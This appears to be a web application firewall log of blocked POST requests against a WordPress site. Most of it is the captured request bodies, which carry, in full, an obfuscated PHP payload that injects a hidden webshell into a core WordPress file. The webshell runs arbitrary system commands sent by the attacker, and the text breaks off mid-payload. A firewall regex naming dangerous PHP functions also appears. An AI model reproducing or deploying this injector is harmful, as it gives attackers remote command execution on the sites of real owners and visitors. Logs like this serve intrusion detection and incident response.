["2026-05-12 09:51:51","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-length:8902\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:51:55","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-length:8879\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nmw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%25